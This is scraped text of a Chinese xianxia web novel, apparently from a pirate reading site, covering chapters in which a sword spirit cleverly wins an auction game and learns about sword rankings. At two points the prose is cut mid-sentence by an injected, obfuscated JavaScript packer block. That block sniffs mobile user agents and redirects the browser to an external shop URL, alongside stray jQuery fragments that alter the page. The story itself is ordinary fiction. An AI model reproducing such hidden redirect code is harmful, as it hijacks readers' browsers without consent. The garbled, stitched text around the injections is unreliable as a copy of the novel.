椿岁大大咧咧地抛出了极为极端的五二金七玉。 和预想的完全不一样,椿岁压根对那胭脂没兴趣。 吊眼见此心头一跳,莫名感到了一丝不安。他往池中心的小亭望去,商会伙计很快就计量出了本轮结果。 局价一百二十六两,倒也符合常理,筹价却被抬到了不该有的三百二十两。 吊眼顿时脸色煞白,眼睛瞪大得像铜铃,眼睁睁看着连缘盒都在倒油般,滚出来一颗雅珠,筹价的十位被修为九,得缘价三百九十两。 “开什么玩笑!” 吊眼猛然锤桌,他随手投出来的弃筹正是三九金!这意味着他要拿三倍的银子,买一盒他完全用不上的玩意! 在这种情况下,椿岁脸上的笑完全可以说是幸灾乐祸了。 吊眼还不能说什么,筹是自己投的,再怎么不情愿都只能认下。 他也不是差钱的主,只觉浑身像爬了蚂蚁一样,怎么都不自在,隐隐有种自己被看不起的玩意算计了一般,但又寻不到根据,也发自真心不觉得玉面狸真能有本事算计,只能磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590840|186934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着牙,目光阴毒地剜了对方几眼。 旁边青衣男子的神色也不大好。俗话说,不是一路人不睡一个窝,他方才抱着和吊眼类似的想法,把手上的四五金给投了出去,拔高筹价,很大程度,为吊眼的倒霉状添了柴加了火。 好在他知道吊眼数算得不明白,不会知道他做了什么,于是只尴尬地坐着,假装无事发生。 第五轮的拍品是枚玉坠,正价二百五十两,椿岁投出了二二金和二三玉。看起来对此颇为势在必得。 公布出来的结果也没有任何意外可言,筹价为二百三十五两,局价二百二十四两,得金缘风珠,投二二金者胜。 然而,难顺其意的是,就像是专门对着干一样,吊眼也投了二二金。 本局出现了第二次平局。 见到这一结果,吊眼憋了整整一轮的气总算是顺过来了,脸上挂出坏笑,并不诚心地说了声“不好意思”,而后道:“这玉坠我也想要呢。” 当然他的挑衅话在椿岁这甚至连耳旁风都称不上,掀不动半点波澜。 椿岁懒洋洋地用手撑脸,歪七八扭在案上,脸上的笑意不知何时起已然抹去,好似兴致缺缺,看本该落到最后,正价为三百两的拍品成玉缘二百九十四两,礼珠缘价加一成,被投出三六玉的人以三百二十四两拍下。 和之前围看的一样,春缘局里亏欠的居多,省钱的少,难怪会高兴。椿岁心想。 而后便是先前那牙雕的重拍。 椿岁将手上的七、二二金,和三、二三玉大方摆在案上,别人稍微挺挺身就能看个清楚明白,都是可以拉低价的存在,只是程度各有不同。 吊眼瞧着,心想,既然玉面狸想要第五轮的拍品,那他就应当把手上的二二金和二三玉给压着。到时候投出最小的那两个,难免会把牙雕的缘价拉得太低。 万一投的是二二金和二三玉,且局内刚好有其他人想不开投低价筹,这前后一拉,很难说会不会反倒让玉面狸得了便宜。 吊眼看了眼自己手上余下的一二、四五金,和七、四一玉。 无论如何,哪怕得不到想要的,也不能让别人因为缘价太低而捡到便宜,这是春缘局向来的传统。 想通这一点后,吊眼果断把高价筹投出去。却不承想,局内的其余四人,都抱着与他类似的心思,握着类似的筹码。 甚至就连椿岁也十分干脆地把二二金和二三玉给投了出去。 牙雕重拍的筹价很快就被公布了出来,为四百二十三两,而局价为三百七十两,呈金缘。 投出四五筹的吊眼觉得稳了,可缘盒就像故意在跟他作对,滚出来了一颗诗珠,缘价一下加了三成,变为了五百五十两,被投出五二金筹者拍得。 居然只有一人投五二金? 吊眼眉头一蹙,紧接着就发现那唯一一个投出五二金的人,正是他的好友。 心情好似在激流高低起伏一番,现今只剩下得意, 最后一轮重拍,每人手上都只剩一枚金玉筹,现在他所不待见的玉面狸再怎么说也不可能拍到玉坠了。 可是吊眼一往玉面狸的方向看去,发现这人居然又在笑。 不仅是吊眼,叶於年发现,从牙雕投筹结束起,剑灵肩膀前后一摆一摆地在偷笑。 尤其是盯着小船在水上晃荡的时候,还会用指尖在自己脸上一叩一敲,胡乱打着节拍。 叶於年看着,暗自将几轮筹码都算了一通,忽然意识到剑灵打的什么算盘。 这局每人手上的金筹共一百七十七,玉筹一百二十二,统算六人,再减去先前通过筹价和局价倒推出来的筹码数,现今金筹只剩下五十二,玉筹只剩三十八。筹价为八十七,局价为九十,是玉缘,且是比上一局还要夸张的小数。 可即便如此,椿岁手里的三玉怎么说都还是小过头了。且如此一来,除椿岁外其余五人投出来的,应当都是七玉。 已然平局一次的拍品,若过后再平局,就要直接流拍,重新收入寻江商会的库中。 除非…… 叶於年稍稍抬头,与此同时,剑灵也心有灵犀地在扭头看他,笑容灿烂。 椿岁第一局就发现了,这的凡人都笨笨的。 不会听音,嘴巴坏还顾头不顾腚的,总想着要尝试着算计别人,可又死活算不明白,于是就会自个摔跤去。 如叶於年所算,随着缘盒的机扣声落,一枚罕见的颂珠落了下来。 “怎么会?!”吊眼尖声道。 如此一来,最得春缘的反倒成了投出三玉者的椿岁。 且经过修缘,筹价十位变零,得出来的缘价是史无前例的…… 零两! 一时间,所有人的视线都投注到一直表现得很懵懂的椿岁身上。 就在这一节骨眼,一局下来没开口说过话的剑灵,手撑着脸,身子半倒向前,忽然开始贱兮兮地学舌。 “哎呀,就是运气好而已啦。” 19.第十九眼 铺子 叶於年可以断定,这结果是椿岁算计好的。 其他人几乎都只会瞄准自己相中的拍品,去投出与之相近价格的筹码来赌一场。 椿岁不一样,他器量也小,既想省钱高兴,又想给那个让他不痛快的人设坑。所以他走一步,算两步,想三步,明确知道每人每轮投的是何筹码,来进行构想。 而且不仅是筹码……叶於年抬手碰了一下椿岁总时不时会动的耳朵尖,问:“能,听‘彩头’?” 椿岁得意地点点头。 甚至不止是听。作为年节时举办的活动,总是寓意大于一切,需要专门设置“摸彩”来表达喜庆。 故而缘盒是由工匠专门设计过的,内部有如迷宫,经过拨弄,可以随机改换盒内的机关挡板,改变珠子行走的路径。而珠子的材质各有不同,可以设计着让风珠礼珠一类更易出现。 这可给椿岁大开方便之门了。 再加上,他虽然没本事去用去蛊惑人心,左右别人投筹,但他容貌极具欺骗性,只需要摆弄出合适的神色,就能让人放松警惕,被他牵着鼻子走。 尤其他还落座在末位,是最好的操盘位置,或者说,能到末位,本来就是他故意抽的。 让这么一个耳朵灵光,算数也灵光的剑灵入场,着实欺负人。叶於年心想。 而后看见椿岁又把先前从匠人那得来的香球又给摸了出来,拨开扣子,献宝一样将内里展开到叶於年跟前。 香球居然刚好能裹住椿岁零两赢来的玉坠。 玉坠料子里藏了好几处血种,正巧像一朵朵花心,底部又有翠半连着皮,就被少有地雕成一簇盛开的球兰,莹润圆滚握在手里,倒还正应了那别名,是朵玉绣球。 剑灵自己可以变成球,也喜欢球状的玩意,现在居然还玩上了大球裹小球。 叶於年正如此想着,感觉剑灵蹑手蹑脚地蹭了过来,动作不甚熟练地将玉坠别到了他腰间。 对上剑主疑惑的视线,剑灵又义正词严地教训道:“喜欢我也不能只顾着让我买。” 过后又理直气壮说:“你喜欢这花,还省‘钱’了,高兴吧。” 所以,这是特地给他赢回来的? 叶於年眸色微动,指尖擦过那枚玉坠,很是温润的质地,他下意识道:“多谢。” 剑灵倒比他想象中要有原则得多,嘟囔着说:“你的‘钱’‘叩春门’,不是我的,‘谢’什么?” 他高傲道:“用我的‘钱’再‘谢’。” 叶於年也不泼他冷水,应:“好。” “高兴吧?”剑灵执拗地追问。 叶於年应声:“高兴。” 椿岁看着玉坠挂在叶於年腰间,很是满意,先前所展现的锐劲已然被拆解得无影无踪,变成得意到有点傻的模样,扬着声又问:“我厉害吧?” 叶於年诚心点头。 何止是厉害,商会伙计简直快要眼睛冒火把椿岁给吃了。 他们哪有遇到过这样的事,拍品出去了,不仅一个子都没赚到,反倒还得把叩春门的钱给退回去,毕竟规定是没拍着才不退的。 叶於年问:“还玩否?” “不啦,再玩要打我咯。”剑灵神气兮兮道,无师自通了见好就收的铁道理。 同一个办法耍人一般只能耍一次,第二次就很难让人上当了。尤其他闹这么大动静,其他人怎么说也会加以警惕的。 叶於年摇头道:“不打,多是,不许你,玩。” “哼。”剑灵撇开脸。 他也不稀罕继续玩。且不说新的拍品没他中意的,而且……椿岁认真道:“已经五个了。” 说着,剑灵把叩春门的十两银子塞到叶於年手里。他晃荡了一圈,买够了数,金砖居然还剩一半,远低于叶於年预想。 “四个,”叶於年把自己腰间那枚剔除出去,说,“能‘买’多二。” 叶於年说话时总没多少情绪,平铺直叙又一本正经,却莫名让椿岁觉得心头痒,有种说不明白是开心还是烦躁的滋味。 椿岁不看叶於年,道了声“好吧”,就率先往前走去。可还没走几步,他前边的路就被先前那青衣男子给挡了。 青衣男子上来就自我介绍:“在下姓百里,名霁……” 后面那个字不会,椿岁只觉“百里”这俩音让他想起“废物”二师弟,本就不感兴趣,现在又添了份讨厌。 百里霁捧着方才拍下的雕花金镇纸递上前,叽里呱啦说了一堆,椿岁只听明白其中有一句是在问他名字,可他压根不想把自己的剑名告诉给这莫名其妙的人。 椿岁想了想,纡尊降贵地用今音说:“滚。” 这话谁教的?听到这一声,叶於年一时都顾不上帮剑灵赶人了。 又见百里霁闻言一黑,探身上前,似乎还想说点什么,叶於年立即跃前一步。 他们的身量相仿,气势上却相差甚远。叶於年面无表情道:“还请勿要在此挡路。” 百里霁听此身一僵,却还是不肯把路让开,解释道:“好友方才言语有所冒犯,我想以此赔礼道歉,这位公子目达耳聪,令我佩服,故而也望借此机会交个朋友……” 怎么还在说?椿岁探出个脑袋:“咕——” 尾音还没掉出来,他就被叶於年拉着直接从旁边绕开。 “不必了,无功不受禄,他也不交朋友。”叶於年头也不回道。 往外走出好几步,叶於年才开口问:“‘金镇纸’喜欢?” 椿岁全副心思都在叶於年拉着自己的手上,才知百里霁手里的东西叫“镇纸”。 谈不上喜欢或不喜欢,他完全没伸手去收也跟他懂不懂礼数没半点关系,单纯是因为:“我的欢喜不‘卖’别人。” 叶於年也仅是随口一问,完全没料到会是这样的回答,顿了顿,应声道:“好,不‘卖’。” 而后又不免好奇地问起那吊眼究竟说了什么,才能让百里霁捧着四百两的物件来赔礼。 剑灵学舌的本事很强,很快就将话完整地复述出来。 叶於年皱眉,语重心长道:“‘主人’不对。” “哪里不对?”椿岁据理 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与此同时,商会伙计看见俩人在毛手毛脚摸盼春园里的石头,当即恼了。 他抄起袖子正想制止,就被商会的管事给拦住。 “做啥呢?”管事问。 “有人偷东西。”伙计说。 管事顺着他所指,瞧了一眼,拦人的劲更大了,说:“不用管。” “为什么?老爷不是说盼春园的石头都是他跟恩公借来布场子的,要我们盯紧了一块都不能少吗?” 八年前,一手创办寻江商会的龙老爷,说一个十岁出头的小子是他恩公,轰轰烈烈地追着要拜那人做大哥,闹得人尽皆知,颇有逼人就犯的意味。 那人是个硬茬,说不答应就不答应,却站在拜把子的台子边上看热闹,因为表情太过云淡风轻,一开始压根没人意识到这位就是正主,直到龙老爷大喝一声“恩公”。 然而不等伙计们反应,人就不见踪影了。 “你认不出来也正常,那人就是老爷他恩公。”管事也不卖关子,直截了当道。 “老爷之前三催四请他,他都不来,也不知今年怎就有心情了……”他小声嘀咕道,“反正,这些石头好像说原本是他用来备着烫炉子的。” “石头,我的。” 那头,叶於年正和剑灵解释。 “我有‘铺子’。” 椿岁不明所以:“咩?” “‘卖’刀、斧,戟……剑。”叶於年缓缓说。 椿岁眼睛瞪得老大,平日里那股将要生气的势头已是山雨欲来。 他指着自己,难以置信道:“剑可以‘卖’?” 叶於年老实回答:“是,可以。” 剑可以卖。 也就是说,他可以被挂在他不喜欢的木头板上,被一群人围着,拿不知有什么好的金银换去,再不能回到剑主身边。 剑灵天塌了。 20.第二十眼 剑谱 剑灵又开始不理人了,连哼哼唧唧的动静都没了。一回到家,剑身变成了灵球,一路飘到床边,找了个舒服的角落位置,把自己给藏了起来。 叶於年既犯着难又觉得好笑,只能重复着说:“不‘卖’你。” “我,起誓。 ” 剑灵脾气多是多了点,但胜在总来无影去无踪,听到这话,终于有了反应,挂在剑柄上的粉玉剑穗晃了晃,语气里像是压着什么情绪,怪声问:“真的?无论怎样都不‘卖’?” 叶於年认真应道:“真的。” 那行吧。椿岁勉为其难地恢复成会哼哼的状态。哼了没一会儿,又倏忽化成人形,凑到叶於年身边,贼声问:“为什么不卖?” 能有为什么,叶於年老实回答:“你,重要。” 得到满意答案的椿岁气消了。 叶於年又继续说:“且,我‘铺子卖’剑,皆为,凡铁。和你,不同。” 一般剑修口中的“剑”,都仅指真真存有灵智的剑。 并非所有剑形的武器都能成灵,若是有灵智,那木剑也是剑,若是无灵智,那就算百炼钢来了,在修士这,也只能充当不中用的玩具。 当然所谓“存有灵智”也不是苛刻到必须像椿岁一样能化出人形,能和剑主谈天说地。 大多数剑生灵的存在形式,其实更贴近修士常道的“剑意”。 即便无法交流,摸不清见不着,持剑者也能明确感知剑与自身灵力产生共鸣。 总的来说,灵剑和那些没有丝毫灵力的凡铁放在一起,说白了,就像是一个人跟一个人形的布娃娃面对着面,并没有太多值得计较的意义。 椿岁挨着剑主的半边肩膀,坐没坐像的,扭着头去看那本愈发厚的神书册子,惊喜道:“灵剑不可以‘卖’?” 叶於年沉默了。 椿岁瞧出不对劲来,凶意大起,身子伏到案上,将册子挡住,又用两条胳膊钳住剑主的腰身,逼问道:“不可以,对不对。” 没招,叶於年回答:“可以。” 趁着剑灵还没发作,他又祸水东引道:“‘二师弟’的‘燹生’正是‘买’来的。” 椿岁:“咩?” 剑修的本命剑不都是要进剑墟里拔的吗? 叶於年道:“他,本有,他剑,名‘奴音’,出自,剑墟。” 二师弟入门第一年,就已能在剑墟引剑而鸣了。一开始他对与自己神魂最为相契合的奴音剑简直爱不释手,可后来却渐渐觉得奴音的剑名不中听,觉得奴音的剑身过轻,模样太素,不显气概,觉得奴音位列人字榜,名次太低,配不上他……总之在各种理由加持下,他开始嫌弃起手中剑。 三年前,他在千灯楼遇上剑谱天字二十九的燹生,当即豪掷千金拍了下来,过后直接就把奴音收箱子里,再没拿出来过。 叶於年话说得慢,用词也平实,但不知为何,硬是能把一并不会悲春伤秋的剑,说得像一位被二师弟抛弃的糟糠之妻,言语间颇有控诉薄幸儿郎的话本味。 自家剑灵实在太生动了,简直和活人无异。叶於年推己及人,早些年对二师弟只是厌烦,现在倒真厌恶上了。 椿岁也跟着不满地用上了他知道的所有坏词,评价道:“废物,坏人。” 隔了一会,又好奇问:“‘剑谱’咩?” 叶於年取来一本厚厚的书放到椿岁面前,跟放了块砖头似的。 剑谱分「天」「地」「人」三册,收纳千柄能排得上次序的灵剑,其中实力最为顶尖的百柄剑,列「天字谱」,其余则按其锻者分列地子谱和人子谱。 “我在天字第几?”椿岁自信地问。 叶於年看着自家剑灵双眼,非常淡定且老实地回答:“没,你。” 椿岁指着自己,问:“咩?” “上,不,了。”叶於年耿直道。 剑谱怎可能会让一把不知来历,并无功绩,且连刃都开不了的剑排得上号呢,哪怕这把剑锻造得很漂亮也不行。 听到回答,椿岁把砖头书给扔了。 跟扔垃圾似的。 叶於年的话音太过平静,叫椿岁分辨不出他到底对于此事持的是个什么态度,可能在可惜,也可能在无奈,甚至有可能是在嫌弃。 担忧和苦恼瞬间聚合在了一起,两厢静了一会,椿岁弯下身,整把剑伏到桌上,把自己的脸埋了起来,犹犹豫豫地问:“这个‘剑谱’你们都认?” 刚问完椿岁就后悔,毕竟答案他就算不问也能猜出来。 果不其然,叶於年“嗯”了一声。 “哼!”椿岁把自己的脸又往臂弯里深埋了几分。 叶於年觉得他应该安抚一下剑灵,可是说出来的话貌似更气剑了:“不上,没事,你美呀。” 椿岁现今理解的“美”,是指别人见着他的样子就会喜欢。这点确实让他挺满意的,可他是一把剑,只有美是不行的。 过了好一会,椿岁支起身,腰抵在桌沿,往前挺去。袖子被压着往上扯,露出半截透明灵质的胳膊。 他手长脚长的,一下就够到了被他扔到另一头的砖头书,重新放到腿上。 椿岁皱眉看着上头密密麻麻的今字,觉得自己一下子被这由木头做的纸给拘住,很不痛快,很不高兴,却又无可奈何。 “会改吗?”剑灵低声问。 “会,”叶於年回答,“十年一改。” 椿岁:“怎么改?” “诛邪,灭魔,平息,祸乱……”叶於年轻声列举道。 剑谱会依据十年间的天下大事对不同剑的排名进行调整,有起有落,如若能闯下一番功绩,自然能一举登名。只是这类崭露头角的机会,可遇不可求,叶於年也不大想求。 “哪有祸乱?”椿岁问着,手上不大安生地开始翻起剑谱,而后发现,叶於年在剑谱地字榜上夹了张小纸片,那一页很旧,明显被翻看过好多遍,记述着一柄排名在末的剑,剑名那俩字椿岁不认识,只依稀能看懂说是由凡人工匠锻造,现今下落不明。 椿岁眉头猛地一跳,刚想问一嘴这页有什么好看的,叶於年就伸手过来,状似不经意地将剑谱合上,说:“更易者,在‘天下会’赢,前列之剑,即可,登名。” 比如说,若他们能赢下九师弟那天子谱第六的无双,不管用的是什么方式,椿岁都能即刻跻身天字谱前列。 椿岁瞧着叶於年的动作,话在喉咙里转了几圈,咽了下去。 他把砖头书推到一边,又兀自往后退了退,半跪起身,胳膊越过叶於年的腰,撑在案边,将叶於年圈禁在两臂间,盯着对方那冰蓝的双瞳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599625|186934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 椿岁想,难得在人间睁眼,他肯定不能屈于他剑之下的。于是不知天高地厚地逼问:“那第一呢?怎么当?” 现今居于天字谱首位的,是叶於年的师祖,谢平生的佩剑「不悔」。 叶於年从未见过这位师祖,在他出生前,谢平生就已得道飞升,成为受人供奉的天神,只余一具肉身像,在诸神峰上供人瞻仰。 而无悔也和谢平生一样,绝迹人世百年之久,已渐渐名难求实,变作传说。之所以能久居榜首不下,也仅仅是因为百年过去,都无人能像谢平生般携剑飞升。 总而言之,要想取无悔代之,椿岁至少先得佐其剑主闯下功绩,甚至其剑主得成为能与谢平生相提并论的剑仙。 毕竟,剑修与其手中之剑是相辅相成的,目前剑谱上名列前茅的剑,不是锻自名家之手,就是其剑主曾为举世闻名的大人物,并用其干过惊天动地的大事。 “我明白了……”椿岁嘀咕道,“我要成为天字第一剑,首先我的剑主得是无上剑仙才行。” 他低头望向叶於年,眸色清亮,不掺杂任何沉疴,带着没有由来的自信,给自家剑主下了任务:“那你当剑仙吧。” 顺着动作,椿岁的水色长发落到叶於年耳边,掀起一阵痒。 叶於年不由想起那不足二十载的岁月里,所经历的太多求不得,师尊与他说过的那些话。 「天地何处不逢春,痴迷剑道并非坏事,但既已知道前路为崖,为何非得闷头向前呢……」 「於年,执着无用,何苦执着」 太多人或规劝,或嘲讽,与他道明他所求皆是不可得了,从未想过,还能有让他一步登天去当剑仙的。 见叶於年久久未作回答,椿岁碰了一下他的脸,说:“有我在。” “你可以。” 即便点了灯,屋内也依旧昏暗,可剑灵身在此间,却依旧瞩目。 月光从窗外倾泻而入,为他周身镀上一层莹白,也更加轻巧了他口中说的话,让人心觉当剑仙不过是吃饭睡觉此等轻而易举的事,让人头脑一热,而后信以为真。 如果剑灵碰上的是个懂得变通,会审时度势、量力而为的主,或许还要反过来教训说不要好高骛远,要知道自己有几斤几两。 但好巧不巧,叶於年是个一根筋的,是个痴人,不懂知难而退,总在渴求些乌白马角的事。 他想,修道者何人不望飞升,既不甘弃剑而去,那此事不过两个结局,要不身死,要不功成。 他与他的剑灵对视,声线依旧平淡,却不失郑重。 “好。” 隔了一会,感觉自己后腰被案沿膈着,叶於年后知后觉地发现,他们交谈的姿势不仅不舒服,而且很奇怪。 叶於年面无表情道:“我想,起。” 结果剑灵勾唇一笑,耍赖道:“困了。” 而后变本加厉地压了上来,抱住他。 剑体哪怕化作人身也一点都不重,冰凉的温度通过相触的肌肤传递到叶於年身上,让他感觉全身都浸泡在一汪清池里,脑袋被椿岁那抹坏笑占据,一时半会,他居然忘了挣脱。 他听见椿岁的声音又轻又缓地落在他耳边: “不怕,你所求,皆可得。” 叶於年一怔,心口似被无形的细线轻扯。